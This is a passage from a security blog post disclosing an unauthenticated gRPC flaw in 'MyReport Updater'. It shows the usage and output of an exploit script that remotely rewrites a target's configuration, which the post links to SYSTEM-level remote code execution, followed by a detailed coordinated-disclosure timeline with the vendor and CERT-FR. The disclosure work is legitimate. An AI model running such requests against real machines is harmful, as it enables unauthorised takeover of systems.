&lt;p&gt;We later found that a custom gRPC request could remotely change the configuration mode of a machine running "MyReport Updater". A Python script, &lt;a href="resources/2026-10-13_myreport-updater-grpc-to-system/tooling/grpcmanual.py"&gt;grpcmanual.py&lt;/a&gt;, was created to automate this request.&lt;/p&gt;
&lt;p&gt;The target machine used in this test had the IP address &lt;code&gt;172.16.200.134&lt;/code&gt;.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/17-target-initial-config.png"/&gt;&lt;br/&gt;
&lt;i&gt;Initial configuration of the target machine.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;From another machine, the attacker can remotely change the mode, port, and address used by the target.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ python3 grpcmanual.py -h
usage: grpcmanual.py [-h] [--target TARGET] [--target-port TARGET_PORT] --host HOST --port PORT [--mode {0,1,2,3}]

UpdateConfigReferent via gRPC

options:
  -h, --help            show this help message and exit
  --target TARGET
  --target-port TARGET_PORT
  --host HOST
  --port PORT
  --mode {0,1,2,3}      0: Customized, 1: Managed, 2: UnManaged, 3: Referent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The host address in the following command is only an example. It confirms that the mode, address, and port are changed on the target.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ python3 grpcmanual.py --host 8.8.8.8 --port 443 --mode 1 --target 172.16.200.134
[+] Configuration:
 - Target: 172.16.200.134:9095
 - Host: 8.8.8.8
 - Port: 443
 - Mode: Managed
[+] Message (18 bytes): 0a100a090a07382e382e382e3810bb031801
[+] SUCC&amp;Egrave;S!
[+] R&amp;eacute;ponse (56 bytes): 12360a090a07382e382e382e3810bb031801222464333535333066372d326637332d343731662d623030302d346632326632383234663431
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/18-target-modified-config.png"/&gt;&lt;br/&gt;
&lt;i&gt;The target configuration was changed remotely.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The previous demonstrated LPE vulnerability can therefore be exploited remotely. It allows unauthenticated remote code execution with &lt;code&gt;SYSTEM&lt;/code&gt; privileges.&lt;/p&gt;
&lt;h1 id="disclosure-timeline"&gt;Disclosure timeline&lt;/h1&gt;
&lt;p&gt;Below we include a timeline of the relevant events during the coordinated vulnerability disclosure process with the intent of providing transparency to the whole process and our actions. This list is not exhaustive.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2025-11-04: Quarkslab was contacted by MyReport requesting information about a vulnerability we reported to a mutual customer. A conference call is held to discuss the matter.&lt;/li&gt;
&lt;li&gt;2025-11-05: Quarkslab notifed MyReport that a technical report was being prepared. MyReport provided a GPG public key to encrypt the report.&lt;/li&gt;
&lt;li&gt;2025-11-12: Quarkslab sent the technical report and asked the vendor to acknowledge it.&lt;/li&gt;
&lt;li&gt;2025-11-20: Quarkslab asked for confirmation that the report was received and could be read.&lt;/li&gt;
&lt;li&gt;2025-12-08: Quarkslab asked for an update.&lt;/li&gt;
&lt;li&gt;2025-12-09: Quarkslab informed the vendor that a 90-day embargo period would be set and asked for a timeline for producing a fix, validate it and public release.&lt;/li&gt;
&lt;li&gt;2026-02-06: Quarkslab requested an update and informed the vendor that in absence of response the report will be forwarded to CERT-FR to coordinate disclosure with them in order to inform affected users.&lt;/li&gt;
&lt;li&gt;2026-02-06: Our mutual customer indicated that the vulnerability should be disclosed since it is exploitable and users are at risk.&lt;/li&gt;
&lt;li&gt;2026-02-09: MyReport acknowledged the technical report and said their engineers were working on a comprehensive analysis of the problem. Their goal was to provide a response before March 8th and said that they would contact Quarkslab if they needed further information.&lt;/li&gt;
&lt;li&gt;2026-02-16: MyReport asked to organize a meeting to present and discuss their action plan.&lt;/li&gt;
&lt;li&gt;2026-02-24: Quarkslab proposed dates and times for a meeting with the vendor and our mutual customer. Our mutual customer delegated follow up to Quarkslab.&lt;/li&gt;
&lt;li&gt;2026-03-03: Videoconference between Quarkslab and MyReport to coordinate the action plan.&lt;/li&gt;
&lt;li&gt;2026-03-18: Quarkslab notified the vendor that we have not received a timeline for the fixes, as agreed in the past videoconference.&lt;/li&gt;
&lt;li&gt;2026-03-19: MyReport indicated that the timeline would be sent the next week. Signing of the update packages was being finished.&lt;/li&gt;
&lt;li&gt;2026-03-30: Quarkslab sent email to MyReport indicating that over the past 4 months we've repeatedly requested a remediation roadmap, which the vendor commited to provide but did not deliver. The original 90-day embargo period had expired and our mutual customer remained exposed.  Told the vendor that CERT-FR would be notified and the disclosure date was set to April 3th, 2026. If, by then, the vendor provided a roadmap with firm delivery dates the disclosure date could be reconsidered.&lt;/li&gt;
&lt;li&gt;2026-04-02: MyReport replied with a remediation roadmap that included release of fixes at the end of Q2-2026 and re-architecture of the service and release of the new architecture at the end of Q3-2026. Quarkslab agreed to postpone publication to end of Q2-2026.&lt;/li&gt;
&lt;li&gt;2026-07-09: To coordinate diclosure to potentially affected users, Quarkslab contacted CERT-FR and provided the technical report and a summary of the disclosure timeline so far.&lt;/li&gt;
&lt;li&gt;2026-07-21: CERT-FR acknowledged the report and requested a brief summary of the discussion with the vendor so far and some information about the circunstances of the discovery of the vulnerability.&lt;/li&gt;
&lt;li&gt;2026-08-03: Quarkslab sent the requested information to CERT-FR and notified them that the vendor provided a roadmap for fixes in April and that Quarkslab had prepared a blog post describing the vulnerability.&lt;/li&gt;
&lt;li&gt;2026-08-03: CERT-FR acknowledged the information provided by Quarkslab and requested further details about the vendor's roadmap, asked for the vendor's point of contact and indicated we should continue coordinating with the vendor but keep them informed.&lt;/li&gt;
&lt;li&gt;2026-08-11: Quarkslab informed CERT-FR of the prior communications with MyReport, provided their point of contact and explained they are a french vendor whose software is used by their customers and other vendors. Noted that disclosure was now planed for early September and said dissemination of the information within a reasonable timeframe was important.&lt;/li&gt;
&lt;li&gt;2026-08-11: Quarkslab sent email to MyReport saying the end of Q2 deadline for the release of fixes passed and we had not received any notification about it. Notified them that CERT-FR was informed of the vulnerability and requested information about release of patches, affected and fixed versions and their deployment schedule.&lt;/li&gt;
&lt;li&gt;2026-08-17: CERT-FR acknowledged our last email and indicated they were aligned with the coordinated process so far.&lt;/li&gt;
&lt;li&gt;2026-08-24: CERT-FR contacted the vendor and asked for an update on the remediation process.&lt;/li&gt;
&lt;li&gt;2026-09-10: MyReport replied with a new designated point of contact for the coordination and provided an update on the remediation plan. Three tasks were already completed and another one was being implemented. The release of fixes was planed for "mid October".&lt;/li&gt;
&lt;li&gt;2026-09-10: Quarkslab asked if there was a specific date for the "mid October" release and if customers would be notified of it with a security advisory or any other security-specific communication.&lt;/li&gt;
&lt;li&gt;2026-09-14: MyReport informed that the new release was scheduled to October 13th, 2026 and the security fixes would be informed in the Release Notes.&lt;/li&gt;
&lt;li&gt;2026-10-02: CERT-FR acknowledged receiving the communication from MyReport and asked Quarkslab for our publication date.&lt;/li&gt;
&lt;li&gt;2026-10-13: This blogpost is published.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="references"&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://live.calenco.com/api/sharedpubs/BDD10B16E56F50E87B4A6E7DB78D57612988F298CF54DB99CAD62B59A1CCAEDE/browser/content/ch03s02.html"&gt;MyReport Updater documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://live.calenco.com/api/sharedpubs/BDD10B16E56F50E87B4A6E7DB78D57612988F298CF54DB99CAD62B59A1CCAEDE/browser/content/ch03s02.html#d4e5287"&gt;Updater Manager documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wireshark.org/"&gt;Wireshark&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.humankode.com/ssl/create-a-selfsigned-certificate-for-nginx-in-5-minutes/"&gt;Create a self-signed certificate for Nginx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Vulnerability"></category><category term="2026"></category><category term="windows"></category><category term="pentest"></category><category term="vulnerability"></category><category term="exploit"></category><category term="MyReport"></category></entry></feed>